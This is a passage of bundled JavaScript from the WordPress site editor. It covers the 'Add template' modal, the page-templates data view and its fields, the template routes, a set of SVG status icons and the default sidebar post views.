page: library_page,
archive: library_archive,
search: library_search,
404: not_found,
index: library_list,
category: library_category,
author: comment_author_avatar,
taxonomy: block_meta,
date: library_calendar,
tag: library_tag,
attachment: library_media
};
function TemplateListItem({
title,
direction,
className,
description,
icon,
onClick,
children
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
className: className,
onClick: onClick,
label: description,
showTooltip: !!description,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
as: "span",
spacing: 2,
align: "center",
justify: "center",
style: {
width: '100%'
},
direction: direction,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-add-new-template__template-icon",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: icon
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "edit-site-add-new-template__template-name",
alignment: "center",
spacing: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
align: "center",
weight: 500,
lineHeight: 1.53846153846 // 20px
,
children: title
}), children]
})]
})
});
}
const modalContentMap = {
templatesList: 1,
customTemplate: 2,
customGenericTemplate: 3
};
function NewTemplateModal({
onClose
}) {
const [modalContent, setModalContent] = (0,external_wp_element_namespaceObject.useState)(modalContentMap.templatesList);
const [entityForSuggestions, setEntityForSuggestions] = (0,external_wp_element_namespaceObject.useState)({});
const [isSubmitting, setIsSubmitting] = (0,external_wp_element_namespaceObject.useState)(false);
const missingTemplates = useMissingTemplates(setEntityForSuggestions, () => setModalContent(modalContentMap.customTemplate));
const history = add_new_template_useHistory();
const {
saveEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
createErrorNotice,
createSuccessNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium', '<');
const homeUrl = (0,external_wp_data_namespaceObject.useSelect)(select => {
// Site index.
return select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', '__unstableBase')?.home;
}, []);
const TEMPLATE_SHORT_DESCRIPTIONS = {
'front-page': homeUrl,
date: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: The homepage url.
(0,external_wp_i18n_namespaceObject.__)('E.g. %s'), homeUrl + '/' + new Date().getFullYear())
};
async function createTemplate(template, isWPSuggestion = true) {
if (isSubmitting) {
return;
}
setIsSubmitting(true);
try {
const {
title,
description,
slug
} = template;
const newTemplate = await saveEntityRecord('postType', TEMPLATE_POST_TYPE, {
description,
// Slugs need to be strings, so this is for template `404`
slug: slug.toString(),
status: 'publish',
title,
// This adds a post meta field in template that is part of `is_custom` value calculation.
is_wp_suggestion: isWPSuggestion
}, {
throwOnError: true
});
// Navigate to the created template editor.
history.navigate(`/${TEMPLATE_POST_TYPE}/${newTemplate.id}?canvas=edit`);
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of the created post or template, e.g: "Hello world".
(0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newTemplate.title?.rendered || title)), {
type: 'snackbar'
});
} catch (error) {
const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the template.');
createErrorNotice(errorMessage, {
type: 'snackbar'
});
} finally {
setIsSubmitting(false);
}
}
const onModalClose = () => {
onClose();
setModalContent(modalContentMap.templatesList);
};
let modalTitle = (0,external_wp_i18n_namespaceObject.__)('Add template');
if (modalContent === modalContentMap.customTemplate) {
modalTitle = (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Name of the post type e.g: "Post".
(0,external_wp_i18n_namespaceObject.__)('Add template: %s'), entityForSuggestions.labels.singular_name);
} else if (modalContent === modalContentMap.customGenericTemplate) {
modalTitle = (0,external_wp_i18n_namespaceObject.__)('Create custom template');
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, {
title: modalTitle,
className: dist_clsx('edit-site-add-new-template__modal', {
'edit-site-add-new-template__modal_template_list': modalContent === modalContentMap.templatesList,
'edit-site-custom-template-modal': modalContent === modalContentMap.customTemplate
}),
onRequestClose: onModalClose,
overlayClassName: modalContent === modalContentMap.customGenericTemplate ? 'edit-site-custom-generic-template__modal' : undefined,
children: [modalContent === modalContentMap.templatesList && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalGrid, {
columns: isMobile ? 2 : 3,
gap: 4,
align: "flex-start",
justify: "center",
className: "edit-site-add-new-template__template-list__contents",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
className: "edit-site-add-new-template__template-list__prompt",
children: (0,external_wp_i18n_namespaceObject.__)('Select what the new template should apply to:')
}), missingTemplates.map(template => {
const {
title,
slug,
onClick
} = template;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateListItem, {
title: title,
direction: "column",
className: "edit-site-add-new-template__template-button",
description: TEMPLATE_SHORT_DESCRIPTIONS[slug],
icon: TEMPLATE_ICONS[slug] || library_layout,
onClick: () => onClick ? onClick(template) : createTemplate(template)
}, slug);
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TemplateListItem, {
title: (0,external_wp_i18n_namespaceObject.__)('Custom template'),
direction: "row",
className: "edit-site-add-new-template__custom-template-button",
icon: edit,
onClick: () => setModalContent(modalContentMap.customGenericTemplate),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
lineHeight: 1.53846153846 // 20px
,
children: (0,external_wp_i18n_namespaceObject.__)('A custom template can be manually applied to any post or page.')
})
})]
}), modalContent === modalContentMap.customTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_custom_template_modal_content, {
onSelect: createTemplate,
entityForSuggestions: entityForSuggestions
}), modalContent === modalContentMap.customGenericTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_custom_generic_template_modal_content, {
onClose: onModalClose,
createTemplate: createTemplate
})]
});
}
function NewTemplate() {
const [showModal, setShowModal] = (0,external_wp_element_namespaceObject.useState)(false);
const {
postType
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getPostType
} = select(external_wp_coreData_namespaceObject.store);
return {
postType: getPostType(TEMPLATE_POST_TYPE)
};
}, []);
if (!postType) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: "primary",
onClick: () => setShowModal(true),
label: postType.labels.add_new_item,
__next40pxDefaultSize: true,
children: postType.labels.add_new_item
}), showModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NewTemplateModal, {
onClose: () => setShowModal(false)
})]
});
}
function useMissingTemplates(setEntityForSuggestions, onClick) {
const existingTemplates = useExistingTemplates();
const defaultTemplateTypes = useDefaultTemplateTypes();
const existingTemplateSlugs = (existingTemplates || []).map(({
slug
}) => slug);
const missingDefaultTemplates = (defaultTemplateTypes || []).filter(template => DEFAULT_TEMPLATE_SLUGS.includes(template.slug) && !existingTemplateSlugs.includes(template.slug));
const onClickMenuItem = _entityForSuggestions => {
onClick?.();
setEntityForSuggestions(_entityForSuggestions);
};
// We need to replace existing default template types with
// the create specific template functionality. The original
// info (title, description, etc.) is preserved in the
// used hooks.
const enhancedMissingDefaultTemplateTypes = [...missingDefaultTemplates];
const {
defaultTaxonomiesMenuItems,
taxonomiesMenuItems
} = useTaxonomiesMenuItems(onClickMenuItem);
const {
defaultPostTypesMenuItems,
postTypesMenuItems
} = usePostTypeMenuItems(onClickMenuItem);
const authorMenuItem = useAuthorMenuItem(onClickMenuItem);
[...defaultTaxonomiesMenuItems, ...defaultPostTypesMenuItems, authorMenuItem].forEach(menuItem => {
if (!menuItem) {
return;
}
const matchIndex = enhancedMissingDefaultTemplateTypes.findIndex(template => template.slug === menuItem.slug);
// Some default template types might have been filtered above from
// `missingDefaultTemplates` because they only check for the general
// template. So here we either replace or append the item, augmented
// with the check if it has available specific item to create a
// template for.
if (matchIndex > -1) {
enhancedMissingDefaultTemplateTypes[matchIndex] = menuItem;
} else {
enhancedMissingDefaultTemplateTypes.push(menuItem);
}
});
// Update the sort order to match the DEFAULT_TEMPLATE_SLUGS order.
enhancedMissingDefaultTemplateTypes?.sort((template1, template2) => {
return DEFAULT_TEMPLATE_SLUGS.indexOf(template1.slug) - DEFAULT_TEMPLATE_SLUGS.indexOf(template2.slug);
});
const missingTemplates = [...enhancedMissingDefaultTemplateTypes, ...usePostTypeArchiveMenuItems(), ...postTypesMenuItems, ...taxonomiesMenuItems];
return missingTemplates;
}
/* harmony default export */ const add_new_template = ((0,external_wp_element_namespaceObject.memo)(NewTemplate));
;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/fields.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: page_templates_fields_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function fields_PreviewField({
item
}) {
const settings = usePatternSettings();
const [backgroundColor = 'white'] = page_templates_fields_useGlobalStyle('color.background');
const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
return (0,external_wp_blocks_namespaceObject.parse)(item.content.raw);
}, [item.content.raw]);
const isEmpty = !blocks?.length;
// Wrap everything in a block editor provider to ensure 'styles' that are needed
// for the previews are synced between the site editor store and the block editor store.
// Additionally we need to have the `__experimentalBlockPatterns` setting in order to
// render patterns inside the previews.
// TODO: Same approach is used in the patterns list and it becomes obvious that some of
// the block editor settings are needed in context where we don't have the block editor.
// Explore how we can solve this in a better way.
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorProvider, {
post: item,
settings: settings,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "page-templates-preview-field",
style: {
backgroundColor
},
children: [isEmpty && (0,external_wp_i18n_namespaceObject.__)('Empty template'), !isEmpty && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview.Async, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockPreview, {
blocks: blocks
})
})]
})
});
}
const fields_previewField = {
label: (0,external_wp_i18n_namespaceObject.__)('Preview'),
id: 'preview',
render: fields_PreviewField,
enableSorting: false
};
const descriptionField = {
label: (0,external_wp_i18n_namespaceObject.__)('Description'),
id: 'description',
render: ({
item
}) => {
return item.description && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "page-templates-description",
children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.description)
});
},
enableSorting: false,
enableGlobalSearch: true
};
function fields_AuthorField({
item
}) {
const [isImageLoaded, setIsImageLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
const {
text,
icon,
imageUrl
} = useAddedBy(item.type, item.id);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
alignment: "left",
spacing: 0,
children: [imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: dist_clsx('page-templates-author-field__avatar', {
'is-loaded': isImageLoaded
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
onLoad: () => setIsImageLoaded(true),
alt: "",
src: imageUrl
})
}), !imageUrl && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "page-templates-author-field__icon",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
icon: icon
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "page-templates-author-field__name",
children: text
})]
});
}
const authorField = {
label: (0,external_wp_i18n_namespaceObject.__)('Author'),
id: 'author',
getValue: ({
item
}) => item.author_text,
render: fields_AuthorField
};
;// ./node_modules/@wordpress/edit-site/build-module/components/page-templates/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
usePostActions: page_templates_usePostActions,
templateTitleField
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useHistory: page_templates_useHistory,
useLocation: page_templates_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
useEntityRecordsWithPermissions
} = unlock(external_wp_coreData_namespaceObject.privateApis);
const page_templates_EMPTY_ARRAY = [];
const page_templates_defaultLayouts = {
[LAYOUT_TABLE]: {
showMedia: false,
layout: {
styles: {
author: {
width: '1%'
}
}
}
},
[LAYOUT_GRID]: {
showMedia: true
},
[LAYOUT_LIST]: {
showMedia: false
}
};
const page_templates_DEFAULT_VIEW = {
type: LAYOUT_GRID,
search: '',
page: 1,
perPage: 20,
sort: {
field: 'title',
direction: 'asc'
},
titleField: 'title',
descriptionField: 'description',
mediaField: 'preview',
fields: ['author'],
filters: [],
...page_templates_defaultLayouts[LAYOUT_GRID]
};
function PageTemplates() {
const {
path,
query
} = page_templates_useLocation();
const {
activeView = 'all',
layout,
postId
} = query;
const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)([postId]);
const defaultView = (0,external_wp_element_namespaceObject.useMemo)(() => {
const usedType = layout !== null && layout !== void 0 ? layout : page_templates_DEFAULT_VIEW.type;
return {
...page_templates_DEFAULT_VIEW,
type: usedType,
filters: activeView !== 'all' ? [{
field: 'author',
operator: 'isAny',
value: [activeView]
}] : [],
...page_templates_defaultLayouts[usedType]
};
}, [layout, activeView]);
const [view, setView] = (0,external_wp_element_namespaceObject.useState)(defaultView);
// Sync the layout from the URL to the view state.
(0,external_wp_element_namespaceObject.useEffect)(() => {
setView(currentView => ({
...currentView,
type: layout !== null && layout !== void 0 ? layout : page_templates_DEFAULT_VIEW.type
}));
}, [setView, layout]);
// Sync the active view from the URL to the view state.
(0,external_wp_element_namespaceObject.useEffect)(() => {
setView(currentView => ({
...currentView,
filters: activeView !== 'all' ? [{
field: 'author',
operator: OPERATOR_IS_ANY,
value: [activeView]
}] : []
}));
}, [setView, activeView]);
const {
records,
isResolving: isLoadingData
} = useEntityRecordsWithPermissions('postType', TEMPLATE_POST_TYPE, {
per_page: -1
});
const history = page_templates_useHistory();
const onChangeSelection = (0,external_wp_element_namespaceObject.useCallback)(items => {
setSelection(items);
if (view?.type === LAYOUT_LIST) {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
postId: items.length === 1 ? items[0] : undefined
}));
}
}, [history, path, view?.type]);
const authors = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!records) {
return page_templates_EMPTY_ARRAY;
}
const authorsSet = new Set();
records.forEach(template => {
authorsSet.add(template.author_text);
});
return Array.from(authorsSet).map(author => ({
value: author,
label: author
}));
}, [records]);
const fields = (0,external_wp_element_namespaceObject.useMemo)(() => [fields_previewField, templateTitleField, descriptionField, {
...authorField,
elements: authors
}], [authors]);
const {
data,
paginationInfo
} = (0,external_wp_element_namespaceObject.useMemo)(() => {
return filterSortAndPaginate(records, view, fields);
}, [records, view, fields]);
const postTypeActions = page_templates_usePostActions({
postType: TEMPLATE_POST_TYPE,
context: 'list'
});
const editAction = useEditPostAction();
const actions = (0,external_wp_element_namespaceObject.useMemo)(() => [editAction, ...postTypeActions], [postTypeActions, editAction]);
const onChangeView = (0,external_wp_compose_namespaceObject.useEvent)(newView => {
setView(newView);
if (newView.type !== layout) {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
layout: newView.type
}));
}
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
className: "edit-site-page-templates",
title: (0,external_wp_i18n_namespaceObject.__)('Templates'),
actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(add_new_template, {}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
paginationInfo: paginationInfo,
fields: fields,
actions: actions,
data: data,
isLoading: isLoadingData,
view: view,
onChangeView: onChangeView,
onChangeSelection: onChangeSelection,
isItemClickable: () => true,
onClickItem: ({
id
}) => {
history.navigate(`/wp_template/${id}?canvas=edit`);
},
selection: selection,
defaultLayouts: page_templates_defaultLayouts
}, activeView)
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/templates.js
/**
* Internal dependencies
*/
const templatesRoute = {
name: 'templates',
path: '/template',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, {
backPath: "/"
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
content({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : undefined;
},
preview({
query,
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
if (!isBlockTheme) {
return undefined;
}
const isListView = query.layout === 'list';
return isListView ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PageTemplates, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
},
widths: {
content({
query
}) {
const isListView = query.layout === 'list';
return isListView ? 380 : undefined;
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/template-item.js
/**
* Internal dependencies
*/
const templateItemRoute = {
name: 'template-item',
path: '/wp_template/*postId',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenTemplatesBrowse, {
backPath: "/"
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
}
};
;// ./node_modules/@wordpress/icons/build-module/library/pages.js
/**
* WordPress dependencies
*/
const pages = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M14.5 5.5h-7V7h7V5.5ZM7.5 9h7v1.5h-7V9Zm7 3.5h-7V14h7v-1.5Z"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M16 2H6a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2ZM6 3.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H6a.5.5 0 0 1-.5-.5V4a.5.5 0 0 1 .5-.5Z"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M20 8v11c0 .69-.31 1-.999 1H6v1.5h13.001c1.52 0 2.499-.982 2.499-2.5V8H20Z"
})]
});
/* harmony default export */ const library_pages = (pages);
;// ./node_modules/@wordpress/icons/build-module/library/published.js
/**
* WordPress dependencies
*/
const published = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"
})
});
/* harmony default export */ const library_published = (published);
;// ./node_modules/@wordpress/icons/build-module/library/scheduled.js
/**
* WordPress dependencies
*/
const scheduled = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z"
})
});
/* harmony default export */ const library_scheduled = (scheduled);
;// ./node_modules/@wordpress/icons/build-module/library/drafts.js
/**
* WordPress dependencies
*/
const drafts = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z"
})
});
/* harmony default export */ const library_drafts = (drafts);
;// ./node_modules/@wordpress/icons/build-module/library/pending.js
/**
* WordPress dependencies
*/
const pending = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z"
})
});
/* harmony default export */ const library_pending = (pending);
;// ./node_modules/@wordpress/icons/build-module/library/not-allowed.js
/**
* WordPress dependencies
*/
const notAllowed = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 9.138A6.473 6.473 0 0 1 12 18.5Zm5.123-2.498a6.5 6.5 0 0 0-9.124-9.124l9.124 9.124ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Z"
})
});
/* harmony default export */ const not_allowed = (notAllowed);
;// ./node_modules/@wordpress/icons/build-module/library/trash.js
/**
* WordPress dependencies
*/
const trash = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
})
});
/* harmony default export */ const library_trash = (trash);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/default-views.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const default_views_defaultLayouts = {
[LAYOUT_TABLE]: {},
[LAYOUT_GRID]: {},
[LAYOUT_LIST]: {}
};
const DEFAULT_POST_BASE = {
type: LAYOUT_LIST,
search: '',
filters: [],
page: 1,
perPage: 20,
sort: {
field: 'title',
direction: 'asc'
},
showLevels: true,
titleField: 'title',
mediaField: 'featured_media',
fields: ['author', 'status'],
...default_views_defaultLayouts[LAYOUT_LIST]
};
function useDefaultViews({
postType
}) {
const labels = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getPostType
} = select(external_wp_coreData_namespaceObject.store);
return getPostType(postType)?.labels;
}, [postType]);
return (0,external_wp_element_namespaceObject.useMemo)(() => {
return [{
title: labels?.all_items || (0,external_wp_i18n_namespaceObject.__)('All items'),
slug: 'all',
icon: library_pages,
view: DEFAULT_POST_BASE
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Published'),
slug: 'published',
icon: library_published,
view: DEFAULT_POST_BASE,
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'publish'
}]
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Scheduled'),
slug: 'future',
icon: library_scheduled,
view: DEFAULT_POST_BASE,
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'future'
}]
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Drafts'),
slug: 'drafts',
icon: library_drafts,
view: DEFAULT_POST_BASE,
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'draft'
}]
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Pending'),
slug: 'pending',
icon: library_pending,
view: DEFAULT_POST_BASE,
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'pending'
}]
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Private'),
slug: 'private',
icon: not_allowed,
view: DEFAULT_POST_BASE,
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'private'
}]
}, {
title: (0,external_wp_i18n_namespaceObject.__)('Trash'),
slug: 'trash',
icon: library_trash,
view: {
...DEFAULT_POST_BASE,
type: LAYOUT_TABLE,
layout: default_views_defaultLayouts[LAYOUT_TABLE].layout
},
filters: [{
field: 'status',
operator: OPERATOR_IS_ANY,
value: 'trash'
}]
}];
}, [labels]);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/dataview-item.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: dataview_item_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function DataViewItem({
title,
slug,
customViewId,
type,
icon,
isActive,
isCustom,
suffix
}) {
const {
path
} = dataview_item_useLocation();
const iconToUse = icon || VIEW_LAYOUTS.find(v => v.type === type).icon;
let activeView = isCustom ? customViewId : slug;
if (activeView === 'all') {
activeView = undefined;
}
const query = {
layout: type,
activeView,
isCustom: isCustom ? 'true' : undefined
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "flex-start",
className: dist_clsx('edit-site-sidebar-dataviews-dataview-item', {
'is-selected': isActive
}),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
icon: iconToUse,
to: (0,external_wp_url_namespaceObject.addQueryArgs)(path, query),
"aria-current": isActive ? 'true' : undefined,
children: title
}), suffix]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/add-new-view.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: add_new_view_useLocation,
useHistory: add_new_view_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function AddNewItemModalContent({
type,
setIsAdding
}) {
const history = add_new_view_useHistory();
const {
